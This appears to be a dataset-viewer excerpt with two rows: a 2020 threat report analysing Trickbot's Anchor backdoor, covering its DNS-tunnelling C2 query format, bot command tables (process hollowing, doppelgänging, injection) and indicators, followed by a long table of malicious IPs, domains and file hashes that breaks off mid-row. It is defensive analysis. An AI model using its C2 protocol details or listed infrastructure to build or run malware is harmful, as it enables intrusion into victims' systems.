text
stringlengths
8
115k
# Dropping the Anchor ## Trickbot Anchor Analysis by Suweera De Souza on October 26th, 2020 ### Executive Summary Trickbot has long been one of the key banking malware families in the wild. Despite recent disruption events, the operators continue to drive forward with the malware and have recently begun porting portions of its code to the Linux operating system. As this technical deep dive shows, the communication between the command-and-control (C2) server and the bot is extremely complex. Additionally, we have analyzed the C2 communication process of the Linux version of Trickbot's Anchor module. ### Key Findings - Trickbot operators leverage a complex communication schema to control infected machines. - Recent efforts show the operators moving portions of their code to Linux, thus increasing the portability and range of possible victims. - The Anchor module can implement techniques such as process hollowing and process doppelgänging to evade analysis. - Both Windows- and Linux-based bots have the ability to install additional modules in a victim’s system. ### Communication Setup Trickbot’s Anchor framework is a backdoor module discovered in 2018. Unlike Trickbot’s typically broad-based campaigns, Anchor is deployed exclusively on selected targets. Anchor’s communication with the C2 currently uses DNS tunneling, which we will break down later. From a high-level view, the flow of communication between the bot and the C2 involves commands meant for the bot (termed as bot_commands) as well as the C2 (termed as c2_commands). A description of the commands is provided in the table below. 1. Part 1 of the communication is the initial setup between the bot and the C2. The bot sends the c2_command 0 to the C2, which contains information about the client, including the bot ID. Once the initial communication is established, the C2 responds with a message that contains the signal /1/. 2. In part 2 of the communication, the bot sends back the same signal (which is also the c2_command 1), and the C2 responds with a bot_command. 3. The bot may make further requests for the C2 to send an executable file, depending on the initial bot command received. 4. Finally, the bot sends back the result of the execution to the C2. ### Table 1: Parts of Communication Between Bot and C2 | C2 Commands | Purpose | (Windows) | Purpose | (Linux) | Purpose | |-------------|---------|-----------|---------|---------|---------| | 0 | Initial C2 Comms setup/register bot | 0 | execute instruction via cmd.exe | 0 | Execute instruction via cmd.exe in the Windows shares | | 1 | Ask C2 for bot_command | 1 or 2 | Execute EXE in %TEMP% | 1 or 2 | Execute file in Windows share | | 5 | Obtain PE file | 3 or 4 | Execute DLL in %TEMP% | 3 or 4 | Execute DLL with export control_RunDLL in Windows shares | | <filename> | Obtain PE file | 5 or 6 | Execute PE file using process hollowing | 10, 11, or 12 | Execute Linux file | | 10 | Result of the execution of the bot_command | 7 or 8 | Execute PE using process doppelganging | 100 | Check bot GUID | | | | 9 | Execute instruction via pipe object to cmd.exe | | | | | | 10 | Execute instruction via pipe object to powershell.exe | | | | | | 11 or 12 | Inject PE into multiple processes | | | | | | 13 | Change the bot's scheduled task | | | | | | 14 | Uninstall the bot | | | ### Creation of DNS Queries Every part of communication made to the C2 follows a sequence of 3 different DNS queries. The DNS queries are created by the bot to the Anchor C2 server. #### Query 0 **Bot DNS Query** ``` 0<UUID bytes><current_part><total_parts>/anchor_dns/<Bot_GUID>/<c2_command>/<content>/ ``` - 0 – Indicating type 0 query - UUID – 16 bytes in length generated by the bot - current_part – The current part of the data being sent - total_parts – Total number of parts the data is divided into - anchor_dns – The type of Anchor bot that is communicating to the C2. - Bot_GUID – The GUID generated is different for Windows and Linux platforms - c2_command – The command meant for the C2 - content – The content to send based on the type of command The Anchor module generates a GUID which is different for each platform: - Windows - `<hostname_windowsVersion>.<32 bytes client id>` - Linux – `<system_linuxVersion>.<32 bytes client id>` ### Table 2: Content for c2_command | c2_command | Content | |------------|---------| | 0 | /<Windows OS Info>/1001/<bot_IP><64 bytes random bytes><32 bytes random alphanumeric characters>/ | | 1 | /<32 bytes random alphanumeric characters>/ | | 5 | /<filename>/ | | <filename> | N/A | | 10 | /<bot_command>/<bot_command_ID>/<result of bot execution>/ | Since the maximum length of a DNS name is 255 bytes, the data sent for the first query gets sent in parts. The data sent to the C2 is crafted as subdomains after it is XOR’ed with the key. ### C2 Response After every part of the query gets sent, the C2 responds with an IP. The bot uses this IP to obtain the identifier value that will be used in the next query sequence. ### Conclusion The complexity of Anchor’s C2 communication and the payloads that the bot can execute reflect not only a portion of the Trickbot actors’ considerable capabilities, but also their ability to constantly innovate, as evidenced by their move to Linux. It is important to note that Trickbot operators aren’t the only adversaries to realize the value of targeting other operating systems. As we see more adversaries building cross-compile malware families, it seems clear that security professionals must re-evaluate security practices for Linux systems to ensure they are well-prepared to defend against these increasing threats. ### Indicators of Compromise **Anchor C2s:** - westurn[.]in - onixcellent[.]com - wonto[.]pro - ericrause[.]com **Anchor PE 64bit** - SHA256 - c427a2ce4158cdf1f320a1033de204097c781475889b284f6815b6d6f4819ff8 - SHA256 - 4e5fa5dcd972170bd06c459f9ee4c3a9683427d0487104a92fc0aaffd64363b2 **Anchor ELF 64bit** - SHA256 - 4655b4b44f6962e4f9641a52c24373390766c50b62fcc222e40511c0f1ed91d2 **Anchor PE 32bit Helper file for Linux** - SHA256 - 7686a3c039b04e285ae2e83647890ea5e886e1a6631890bbf60b9e5a6ca43d0a
``` | Type | Value | Confidence | DateAdded | LastM | |---------------|-----------------------------------------|------------|------------|--------| | Address | 104.217.62.110 | 90 | 10-30-2020 | 10-30 | | Address | 104.149.170.190 | 90 | 10-30-2020 | 10-30 | | Address | 172.106.86.6 | 90 | 10-30-2020 | 10-30 | | Address | 104.149.170.182 | 90 | 10-30-2020 | 10-30 | | Address | 104.217.62.111 | 90 | 10-30-2020 | 10-30 | | Address | 104.149.170.166 | 90 | 10-30-2020 | 10-30 | | Address | 172.106.86.5 | 90 | 10-30-2020 | 10-30 | | Address | 104.149.168.222 | 90 | 10-30-2020 | 10-30 | | Address | 172.106.86.4 | 90 | 10-30-2020 | 10-30 | | Host | nasupdater.com | 90 | 10-30-2020 | 10-30 | | Host | nashelper.com | 90 | 10-30-2020 | 10-30 | | Host | nasbooster.com | 90 | 10-30-2020 | 10-30 | | Host | ibackupview.com | 90 | 10-30-2020 | 10-30 | | Host | ibackupupdate.com | 90 | 10-30-2020 | 10-30 | | Host | ibackupboost.com | 90 | 10-30-2020 | 10-30 | | Host | checksservice.com | 90 | 10-30-2020 | 10-30 | | Host | iservicec.com | 90 | 10-30-2020 | 10-30 | | Host | uncheckhel.com | 90 | 10-30-2020 | 10-30 | | Address | 104.149.168.213 | 90 | 10-29-2020 | 10-30 | | Host | backupslive.com | 90 | 10-29-2020 | 10-30 | | Address | 209.141.34.91 | 50 | 10-29-2020 | 10-29 | | Host | thecheckupdater.com | 50 | 10-29-2020 | 10-29 | | Host | supservupdate.com | 50 | 10-29-2020 | 10-29 | | Host | boost-helper.com | 50 | 10-29-2020 | 10-29 | | Address | 205.185.127.215 | 50 | 10-29-2020 | 10-29 | | Address | 209.141.61.43 | 50 | 10-29-2020 | 10-29 | | Address | 172.106.86.22 | 90 | 10-29-2020 | 10-29 | | Address | 190.211.254.156 | 50 | 10-29-2020 | 10-29 | | Address | 172.106.86.13 | 50 | 10-29-2020 | 10-29 | | Address | 209.141.49.233 | 90 | 10-29-2020 | 10-29 | | Address | 104.217.8.103 | 50 | 10-29-2020 | 10-29 | | Host | iupdaters.com | 50 | 10-29-2020 | 10-29 | | Host | iupdatemaster.com | 50 | 10-29-2020 | 10-29 | | Host | imasterupdate.com | 50 | 10-29-2020 | 10-29 | | Host | itopupdater.com | 90 | 10-29-2020 | 10-29 | | Host | it1booster.com | 90 | 10-29-2020 | 10-29 | | Host | idrivecheck.com | 45 | 10-28-2020 | 10-28 | | Address | 205.185.123.62 | 90 | 10-28-2020 | 10-28 | | Address | 81.17.28.70 | 90 | 10-28-2020 | 10-28 | | Address | 81.17.28.122 | 90 | 10-28-2020 | 10-28 | | Address | 179.43.128.3 | 90 | 10-28-2020 | 10-28 | | Address | 205.185.121.134 | 90 | 10-28-2020 | 10-28 | | Address | 81.17.28.105 | 90 | 10-28-2020 | 10-28 | | Address | 179.43.158.171 | 90 | 10-28-2020 | 10-28 | | Address | 179.43.133.44 | 90 | 10-28-2020 | 10-28 | | Address | 179.43.160.205 | 90 | 10-28-2020 | 10-28 | | Address | 179.43.128.5 | 90 | 10-28-2020 | 10-28 | | Address | 205.185.126.172 | 90 | 10-28-2020 | 10-28 | | Host | service1upd.com | 90 | 10-28-2020 | 10-28 | | Host | service1boost.com | 90 | 10-28-2020 | 10-28 | | Host | idriveview.com | 90 | 10-28-2020 | 10-28 | | Host | idriveupdate.com | 90 | 10-28-2020 | 10-28 | | Host | idriverrs.com | 90 | 10-28-2020 | 10-28 | | Host | idrivehepler.com | 90 | 10-28-2020 | 10-28 | | Host | idrivefinder.com | 90 | 10-28-2020 | 10-28 | | Host | idrivedwn.com | 90 | 10-28-2020 | 10-28 | | Host | idrivedownload.com | 90 | 10-28-2020 | 10-28 | | Host | idriveboost.com | 90 | 10-28-2020 | 10-28 | | File | 27B341FA2AA731335273204CB112A414 | 100 | 10-28-2020 | 10-28 | | | 3BA6EBC1CECA4A37FD13AC4875F2AFDDB046151C | | | | | | 2FACD367C1299EF200934CFD06279F177F9E3145164E4BD595E2B94A403A1B02 | | | | | Address | 45.153.241.167 | 90 | 10-23-2020 | 10-23 | | Address | 45.147.231.222 | 90 | 10-23-2020 | 10-23 | | Address | 45.153.241.153 | 90 | 10-23-2020 | 10-23 | | Address | 45.153.241.158 | 90 | 10-23-2020 | 10-23 | | Address | 45.153.241.146 | 90 | 10-23-2020 | 10-23 | | Address | 45.153.241.141 | 90 | 10-23-2020 | 10-23 | | Address | 45.153.241.14 | 90 | 10-23-2020 | 10-23 | | Address | 45.153.241.138 | 90 | 10-23-2020 | 10-23 | | Address | 45.153.241.139 | 90 | 10-23-2020 | 10-23 | | Address | 45.153.241.134 | 90 | 10-23-2020 | 10-23 | | Host | view-backup.com | 90 | 10-23-2020 | 10-23 | | Host | top3servicebooster.com | 90 | 10-23-2020 | 10-23 | | Host | servicereader.com | 90 | 10-23-2020 | 10-23 | | Host | servicehel.com | 90 | 10-23-2020 | 10-23 | | Host | service1view.com | 90 | 10-23-2020 | 10-23 | | Host | service1update.com | 90 | 10-23-2020 | 10-23 | | Host | driver1downloads.com | 90 | 10-23-2020 | 10-23 | | Host | driver-boosters.com | 90 | 10-23-2020 | 10-23 | | Host | backups1helper.com | 90 | 10-23-2020 | 10-23 | | Host | service-hel.com | 90 | 10-23-2020 | 10-23 | | File | ED0F520D410A684C6D0548DBF4CAEA98 | 100 | 10-23-2020 | 10-23 | | | 6381FC7E6D39549E0F7E65AC8151EEB6D70ECEF9 | | | | | | 093AC1213B112C7EB7C46000F04160AF37339CE0D6FFF514F0941F2B5AB48829 | | | | | File | 6C4DACBEFCA90DAD7EF318604E635E89 | 100 | 10-23-2020 | 10-23 | | | 5810D3A052D459760DEFBF479BE15DF1EEBFF48F | | | | | | 1C05380AF47696F7D7EF84B452FA4F662158D9F1CAF7AD01A455061081D13653 | | | | | Host | driver1master.com | 75 | 10-21-2020 | 10-21 | | Host | checktodrivers.com | 75 | 10-21-2020 | 10-21 | | Host | godofservice.com | 75 | 10-21-2020 | 10-21 | | Host | service1updater.com | 75 | 10-21-2020 | 10-21 | | Host | boost-yourservice.com | 75 | 10-21-2020 | 10-21 | | Host | viewdrivers.com | 75 | 10-21-2020 | 10-21 | | Host | driver1updater.com | 75 | 10-21-2020 | 10-21 | | Host | backup1master.com | 75 | 10-21-2020 | 10-21 | | Host | driverdwl.com | 75 | 10-21-2020 | 10-21 | | Host | backup1helper.com | 75 | 10-21-2020 | 10-21 | | Address | 45.153.241.1 | 75 | 10-21-2020 | 10-21 | | Address | 45.153.240.136 | 75 | 10-21-2020 | 10-21 | | Address | 194.36.188.45 | 75 | 10-21-2020 | 10-21 | | Address | 45.153.240.220 | 75 | 10-21-2020 | 10-21 | | Address | 45.153.240.178 | 75 | 10-21-2020 | 10-21 | | Address | 194.36.188.154 | 75 | 10-21-2020 | 10-21 | | Address | 45.153.240.194 | 75 | 10-21-2020 | 10-21 | | Address | 45.153.240.240 | 75 | 10-21-2020 | 10-21 | | Address | 45.153.240.246 | 75 | 10-21-2020 | 10-21 | | Address | 185.117.75.193 | 75 | 10-21-2020 | 10-21 | | Address | 45.153.240.157 | 75 | 10-21-2020 | 10-21 | | Address | 45.153.240.138 | 75 | 10-21-2020 | 10-21 | | Address | 45.153.240.222 | 75 | 10-21-2020 | 10-21 | | Address | 188.116.36.155 | 75 | 10-21-2020 | 10-21 | | Address | 45.153.240.133 | 75 | 10-21-2020 | 10-21 | | Address | 108.62.12.114 | 84 | 10-19-2020 | 10-19 | | Address | 108.62.12.119 | 84 | 10-19-2020 | 10-19 | | Address | 108.62.12.121 | 84 | 10-19-2020 | 10-19 | | Address | 108.62.12.12 | 84 | 10-19-2020 | 10-19 | | Address | 74.118.138.139 | 84 | 10-19-2020 | 10-19 | | Address | 74.118.138.138 | 84 | 10-19-2020 | 10-19 | | Address | 74.118.138.137 | 84 | 10-19-2020 | 10-19 | | Address | 74.118.138.116 | 84 | 10-19-2020 | 10-19 | | Address | 74.118.138.115 | 84 | 10-19-2020 | 10-19 | | Address | 108.62.12.116 | 84 | 10-19-2020 | 10-19 | | Address | 108.62.12.105 | 84 | 10-19-2020 | 10-19 | | Address | 108.177.235.53 | 84 | 10-19-2020 | 10-19 | | Host | topservicebooster.com | 87 | 10-19-2020 | 10-19 | | Host | topservice-masters.com | 87 | 10-19-2020 | 10-19 | | Host | topbackup-helper.com | 87 | 10-19-2020 | 10-19 | | Host | top3-services.com | 87 | 10-19-2020 | 10-19 | | Host | simpleservice-checker.com | 87 | 10-19-2020 | 10-19 | | Host | simple-backupbooster.com | 87 | 10-19-2020 | 10-19 | | Host | top-backupservice.com | 87 | 10-19-2020 | 10-19 | | Host | top-backuphelper.com | 87 | 10-19-2020 | 10-19 | | Host | bestservicehelper.com | 87 | 10-19-2020 | 10-19 | | Host | best-nas.com | 87 | 10-19-2020 | 10-19 | | Host | best-backup.com | 87 | 10-19-2020 | 10-19 | | Host | topbackupintheworld.com | 87 | 10-19-2020 | 10-19 | | File | F8AAE4C883E19E3E1E880E7AE38C2369 | 100 | 10-19-2020 | 10-19 | | | F3CA59DA7702CA9CB8FDB9F1B764EF2C7915A8A5 | | | | | | 8B6C3018958E7AE20989045811358B1225606000C879000C779444CC50290D9E | | | | | Address | 45.147.230.159 | 84 | 10-15-2020 | 10-15 | | Address | 45.147.230.141 | 84 | 10-15-2020 | 10-15 | | Address | 45.147.230.140 | 84 | 10-15-2020 | 10-15 | | Address | 45.147.230.133 | 84 | 10-15-2020 | 10-15 | | Address | 45.147.230.132 | 84 | 10-15-2020 | 10-15 | | Address | 45.147.230.131 | 84 | 10-15-2020 | 10-15 | | Address | 45.147.229.92 | 84 | 10-15-2020 | 10-15 | | Address | 45.147.229.68 | 84 | 10-15-2020 | 10-15 | | Address | 45.147.229.52 | 84 | 10-15-2020 | 10-15 | | Address | 45.147.229.44 | 84 | 10-15-2020 | 10-15 | | Host | service-checker.com | 87 | 10-15-2020 | 10-15 | | Host | boost-servicess.com | 87 | 10-15-2020 | 10-15 | | Host | bakcup-monster.com | 87 | 10-15-2020 | 10-15 | | Host | bakcup-checker.com | 87 | 10-15-2020 | 10-15 | | Host | backup-simple.com | 87 | 10-15-2020 | 10-15 | | Host | backup-leader.com | 87 | 10-15-2020 | 10-15 | | Host | backup-helper.com | 87 | 10-15-2020 | 10-15 | | Host | service-leader.com | 87 | 10-15-2020 | 10-15 | | Host | nas-simple-helper.com | 87 | 10-15-2020 | 10-15 | | Host | nas-leader.com | 87 | 10-15-2020 | 10-15 | | File | BA17A1FD0E350C77A58C88AE6AA28AAA | 100 | 10-15-2020 | 10-15 | | | 1DA3A7A84386AA4A278677BFF97C5E23AA6BBD0A | | | | | | 2376A8DA650C124B3D916765F82929B4109F20BC4F211A39A4D1CD4391780D1F | | | | | File | 7430F8E3F9F8716B8DBC548997AD8F8A | 100 | 10-15-2020 | 10-15 | | | 7062CD7B0E0D3EEF423E20AEF39FB330FAF88717 | | | | | | 4544B478B2029EC38EB4BDA111741A10F0684E38F1B29CE092B93DF882D11F9E | | | | | Host | backup1nas.com | 47 | 10-13-2020 | 10-13 | | Host | nasmastrservice.com | 47 | 10-13-2020 | 10-13 | | Host | backupnas1.com | 47 | 10-13-2020 | 10-13 | | Host | nas-helper.com | 47 | 10-13-2020 | 10-13 | | Host | nasmasterservice.com | 47 | 10-13-2020 | 10-13 | | Host | elephantdrrive.com | 47 | 10-13-2020 | 10-13 | | Host | backupmastter.com | 47 | 10-13-2020 | 10-13 | | Host | backup1service.com | 47 | 10-13-2020 | 10-13 | | Address | 45.138.172.30 | 44 | 10-13-2020 | 10-13 | | Address | 45.147.230.87 | 44 | 10-13-2020 | 10-13 | | Address | 45.138.172.95 | 44 | 10-13-2020 | 10-13 | | Address | 45.147.230.30 | 44 | 10-13-2020 | 10-13 | | Address | 45.147.229.253 | 44 | 10-13-2020 | 10-13 | | Address | 45.147.229.180 | 44 | 10-13-2020 | 10-13 | | Address | 45.147.229.128 | 44 | 10-13-2020 | 10-13 | | Address | 45.147.228.77 | 44 | 10-13-2020 | 10-13 | | Address | 185.25.51.76 | 44 | 10-13-2020 | 10-13 | | Address | 45.147.228.164 | 44 | 10-13-2020 | 10-13 | | Address | 45.138.172.51 | 44 | 10-13-2020 | 10-13 | | Host | zhameharden.com | 84 | 10-06-2020 | 10-11 | | Host | bithunterr.com | 87 | 09-30-2020 | 10-11 | | Host | tiancaii.com | 87 | 09-30-2020 | 10-11 | | Host | raidbossa.com | 87 | 09-30-2020 | 10-11 | | Host | rapirasa.com | 87 | 09-30-2020 | 10-11 | | Host | primeviref.com | 87 | 10-11-2020 | 10-11 | | Host | myobtain.com | 87 | 10-11-2020 | 10-11 | | Host | hotlable.com | 87 | 10-11-2020 | 10-11 | | Host | hunbabe.com | 87 | 10-11-2020 | 10-11 | | Host | havemosts.com | 87 | 10-11-2020 | 10-11 | | Host | quwasd.com | 87 | 10-11-2020 | 10-11 | | Host | remotessa.com | 87 | 10-11-2020 | 10-11 | | Host | secondlivve.com | 87 | 10-11-2020 | 10-11 | | Host | service-boosterr.com | 87 | 10-11-2020 | 10-11 | | Host | servicemount.com | 87 | 10-11-2020 | 10-11 | | Host | servicesupdater.com | 87 | 10-11-2020 | 10-11 | | Host | serviceupdatter.com | 87 | 10-11-2020 | 10-11 | | Host | sobcase.com | 87 | 10-11-2020 | 10-11 | | Host | unlockwsa.com | 87 | 10-11-2020 | 10-11 | | Host | wodemayaa.com | 87 | 10-11-2020 | 10-11 | | Host | cheapshhot.com | 87 | 10-11-2020 | 10-11 | | Host | dotmaingame.com | 87 | 10-11-2020 | 10-11 | | Host | blackhoall.com | 87 | 10-11-2020 | 10-11 | | Host | vnuret.com | 84 | 10-06-2020 | 10-11 | | Host | servicegungster.com | 84 | 10-06-2020 | 10-11 | | Host | realgamess.com | 84 | 10-06-2020 | 10-11 | | Host | wondergodst.com | 84 | 10-06-2020 | 10-11 | | Host | sweetmonsterr.com | 84 | 10-06-2020 | 10-11 | | Host | qascker.com | 84 | 10-06-2020 | 10-11 | | Host | zetrexx.com | 84 | 10-06-2020 | 10-11 | | Host | reginds.com | 84 | 10-06-2020 | 10-11 | | Host | hakunaman.com | 84 | 10-06-2020 | 10-11 | | Host | gtrsqer.com | 84 | 10-06-2020 | 10-11 | | Host | razorses.com | 84 | 10-06-2020 | 10-11 | | Host | harddagger.com | 84 | 10-06-2020 | 10-11 | | Host | checkhunterr.com | 84 | 10-06-2020 | 10-11 | | Host | check4list.com | 84 | 10-06-2020 | 10-11 | | Host | kungfupandasa.com | 84 | 10-06-2020 | 10-11 | | Host | biliyilish.com | 84 | 10-06-2020 | 10-11 | | Host | bouths.com | 84 | 10-06-2020 | 10-11 | | Host | jonsonsbabyy.com | 84 | 10-06-2020 | 10-11 | | Host | chekingking.com | 84 | 10-06-2020 | 10-11 | | Host | pudgeee.com | 84 | 10-06-2020 | 10-11 | | Host | nomadfunclub.com | 84 | 10-06-2020 | 10-11 | | Host | bugsbunnyy.com | 84 | 10-06-2020 | 10-11 | | Host | chalengges.com | 84 | 10-06-2020 | 10-11 | | Host | getinformationss.com | 84 | 10-06-2020 | 10-11 | | Host | gameleaderr.com | 84 | 10-06-2020 | 10-11 | | Host | raaidboss.com | 87 | 09-30-2020 | 10-11 | | Host | ayiyas.com | 87 | 09-30-2020 | 10-11 | | Address | 45.34.6.221 | 78 | 10-06-2020 | 10-11 | | Address | 96.9.225.143 | 78 | 10-06-2020 | 10-11 | | Address | 45.34.6.223 | 78 | 10-06-2020 | 10-11 | | Address | 69.61.38.155 | 78 | 10-06-2020 | 10-11 | | Address | 96.9.225.144 | 78 | 10-06-2020 | 10-11 | | Address | 45.34.6.222 | 78 | 10-06-2020 | 10-11 | | Address | 107.173.58.176 | 78 | 10-06-2020 | 10-11 | | Address | 107.173.58.182 | 78 | 10-06-2020 | 10-11 | | Address | 107.173.58.179 | 78 | 10-06-2020 | 10-11 | | Address | 107.173.58.175 | 78 | 10-06-2020 | 10-11 | | Address | 69.61.38.156 | 78 | 10-06-2020 | 10-11 | | Address | 5.2.64.135 | 78 | 10-06-2020 | 10-11 | | Address | 88.119.171.77 | 78 | 10-06-2020 | 10-11 | | Address | 107.173.58.184 | 78 | 10-06-2020 | 10-11 | | Address | 88.119.171.76 | 78 | 10-06-2020 | 10-11 | | Address | 88.119.175.153 | 78 | 10-06-2020 | 10-11 | | Address | 88.119.171.78 | 78 | 10-06-2020 | 10-11 | | Address | 213.252.244.170 | 78 | 10-06-2020 | 10-11 | | Address | 5.2.72.202 | 78 | 10-06-2020 | 10-11 | | Address | 5.2.64.133 | 78 | 10-06-2020 | 10-11 | | Address | 88.119.171.74 | 78 | 10-06-2020 | 10-11 | | Address | 213.252.246.154 | 78 | 10-06-2020 | 10-11 | | Address | 5.2.64.113 | 78 | 10-06-2020 | 10-11 | | Address | 88.119.171.73 | 78 | 10-06-2020 | 10-11 | | Address | 88.119.171.75 | 78 | 10-06-2020 | 10-11 | | Address | 109.70.236.134 | 78 | 10-06-2020 | 10-11 | | Address | 45.34.6.225 | 78 | 10-06-2020 | 10-11 | | Address | 45.34.6.226 | 78 | 10-06-2020 | 10-11 | | Address | 107.173.58.185 | 78 | 10-06-2020 | 10-11 | | Address | 107.173.58.183 | 78 | 10-06-2020 | 10-11 | | Address | 69.61.38.157 | 78 | 10-06-2020 | 10-11 | | Address | 45.34.6.229 | 78 | 10-06-2020 | 10-11 | | Address | 107.173.58.180 | 84 | 10-11-2020 | 10-11 | | Address | 88.119.174.132 | 84 | 10-11-2020 | 10-11 | | Address | 88.119.171.97 | 84 | 10-11-2020 | 10-11 | | Address | 5.2.64.167 | 84 | 10-11-2020 | 10-11 | | Address | 88.119.174.139 | 84 | 10-11-2020 | 10-11 | | Address | 5.2.64.149 | 84 | 10-11-2020 | 10-11 | | Address | 88.119.174.131 | 84 | 10-11-2020 | 10-11 | | Address | 5.2.64.172 | 84 | 10-11-2020 | 10-11 | | Address | 5.2.64.144 | 84 | 10-11-2020 | 10-11 | | Address | 5.2.72.200 | 84 | 10-11-2020 | 10-11 | | Address | 88.119.174.130 | 84 | 10-11-2020 | 10-11 | | Address | 5.2.64.174 | 84 | 10-11-2020 | 10-11 | | Address | 88.119.171.96 | 84 | 10-11-2020 | 10-11 | | Address | 88.119.174.133 | 84 | 10-11-2020 | 10-11 | | Address | 5.2.79.122 | 84 | 10-11-2020 | 10-11 | | Address | 88.119.174.129 | 84 | 10-11-2020 | 10-11 | | Address | 88.119.171.94 | 84 | 10-11-2020 | 10-11 | | Address | 88.119.175.214 | 84 | 10-11-2020 | 10-11 | | Address | 213.252.244.126 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.119 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.171.67 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.171.55 | 84 | 09-30-2020 | 10-11 | | Address | 213.252.244.38 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.126 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.116 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.110 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.128 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.125 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.121 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.127 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.120 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.117 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.171.68 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.107 | 84 | 09-30-2020 | 10-11 | | Address | 5.2.70.149 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.114 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.109 | 84 | 09-30-2020 | 10-11 | | Address | 213.252.244.62 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.174.118 | 84 | 09-30-2020 | 10-11 | | Address | 88.119.171.69 | 84 | 09-30-2020 | 10-11 | | Address | 185.25.50.167 | 84 | 09-30-2020 | 10-11 | | EmailAddress | [email protected] | 100 | 10-06-2020 | 10-11 | | Host | loxliver.com | 84 | 10-06-2020 | 10-11 | | Host | hurrypotter.com | 84 | 10-06-2020 | 10-11 | | Host | daggerclip.com | 84 | 10-06-2020 | 10-11 | | Host | errvghu.com | 84 | 10-06-2020 | 10-11 | | Host | martahzz.com | 84 | 10-06-2020 | 10-11 | | Host | mixunderax.com | 84 | 10-06-2020 | 10-11 | | Host | moonshardd.com | 84 | 10-06-2020 | 10-11 | | Address | 69.61.38.132 | 78 | 10-06-2020 | 10-11 | | Host | voiddas.com | 87 | 09-30-2020 | 10-11 | | Host | sibalsakie.com | 87 | 09-30-2020 | 10-11 | | Host | shabihere.com | 87 | 09-30-2020 | 10-11 | | Host | rulemonster.com | 87 | 09-30-2020 | 10-11 | | Host | puckhunterrr.com | 87 | 09-30-2020 | 10-11 | | Host | mountasd.com | 87 | 09-30-2020 | 10-11 | | Host | loockfinderrs.com | 87 | 09-30-2020 | 10-11 | | Host | lindasak.com | 87 | 09-30-2020 | 10-11 | | Host | giveasees.com | 87 | 09-30-2020 | 10-11 | | Host | chainnss.com | 87 | 09-30-2020 | 10-11 | | File | 4D373FDA8175A8C79E2E0DC760325634 | 90 | 09-30-2020 | 10-11 | | | 35EE421837FE02D21C5BD94DA425B1F39F1D73D8 | | | | | | 062FC14064495F558E1192B675C1F0EEEB87C5CED5C01F81A38FC6B2591508D6 | | | | | File | F0A7C2C089F2B1EBDD488E4BDA4AC1CF | 90 | 09-30-2020 | 10-11 | | | 2D763482008BCFA1F0476049029FEF017C58192F | | | | | | 8E421C6145B4EE499C747C7544D16F331D0BFD282B40EFDDCF66D8EB3FBF51CD | | | | | File | 6C6846B436EC85B9179AD77FB585E20C | 90 | 09-30-2020 | 10-11 | | | 4D75FD0ECE50BB305A34DB32157DA76C7FA1EF1A | | | | | | F9C459824E223D5523AC6EDFEA7B842CF168AE135045258B04B4760F4002A86F | | | | | File | B17A9F6D1916471DC4862AEE9A76C26A | 90 | 09-30-2020 | 10-11 | | | 2A92911B56F79BDDEB6CB8B7869ACB7AB9370B5E | | | | | | 151983EAB306E5FCD22B110CF36DDC2357564D40399D08CE8A70D7F78B0BFBBF | | | | | File | F9DE761A08EC8C4CB0DCF9731ACF1417 | 100 | 10-11-2020 | 10-11 | | | 7B5AD0A6F29788DF61388309E9725AA845528669 | | | | | | 4E4EB3F6F85C8B14003168E9CD9D82C716CF5C04F1D7CB2F003D1CA233D75EED | | | | | File | AF09099729962F25C57CC35E86BFBCF9 | 100 | 10-11-2020 | 10-11 | | | 42333BD6CBE20C64B7CB1B81BCC6110151BAE7EA | | | | | | B91B4D45B41D0D0CA1BDFAC917C4CD732D32754BCFD7590AC521DC4FE414EBD5 | | | | | File | 12963009969137F99D02129F98465975 | 100 | 10-11-2020 | 10-11 | | | 5A2FBEFCCAC3BCF330ED6F5C57372E5056817094 | | | | | | C0595BFEA597E67C4E7291E60ED124C5B6FD47ECA5D2A2DEE4AC61864AC6DC5F | | | | | File | 52FD3E86AAD283C1958C2BABBBA5D0BC | 100 | 10-11-2020 | 10-11 | | | ED235C4335D0E5791AE2D183E2E41E4EC33CA769 | | | | | | 7C64C488A58473D9456D4F2F64B7BCB5EEA03C32BD99650C59E38B0993EBA7B3 | | | | | File | 9E7167948AA758165CE8CFE9C18FF599 | 100 | 10-11-2020 | 10-11 | | | E1ADA7D696EC814D5B4F6705155853DF17FDED08 | | | | | | 328456CC7C585D290BA0543F6183AFB0F8E31A1CFD24019644EA6471129BAD9D | | | | | File | F7EE8811189110A112EA32AA64EBA823 | 100 | 10-11-2020 | 10-11 | | | B302C4B84B82190B3D15F8C7788108A13859319D | | | | | | 93193C90F568AE1EBDBDD5607C00CE250F6C886CEC60724BDCF5E25C6BA82554 | | | | | File | 587A9CBCAEC3DDCEEBA5A0FADD601D2D | 90 | 10-06-2020 | 10-11 | | | 384BC386449F6E0C33D9345E6A934F63640E3706 | | | | | | 2AF2AB80575400C191925D15F83726718655B8ADAD1C7BD02E4ABE21D1004B95 | | | | | File | 5DA1EC0C2839285FD6E098E3FFD5874B | 90 | 10-06-2020 | 10-11 | | | 25CBF4DDC74289A68DB98B040386F10E226455FC | | | | | | 95D4C0E642A3B2C9FAB0A2D90B2D127ED12D9AE1E8E721806E9EEFC75D77EE3C | | | | | File | 880A45FF31BC540E80ECF2CF93134C12 | 90 | 10-06-2020 | 10-11 | | | A09FB822DA6E6A3B009A6239955F752A49B8CA2D | | | | | | 694818BA3BBBD14949FEA1441DD15EC721ADC61F7F7DE4CC728F449A2EF2C3C8 | | | | | File | BEE5E78994AB779EBC2419AF945D41BD | 90 | 10-06-2020 | 10-11 | | | E51C0E251DD24EB2AA561F1E0B01FAB249674B53 | | | | | | 956CD22A033DE80926083810A0946AD764E0DF61DFC0AD09AF5E1947327281C9 | | | | | File | C8777183E31A2AAA6B30F9D2D2103FD3 | 90 | 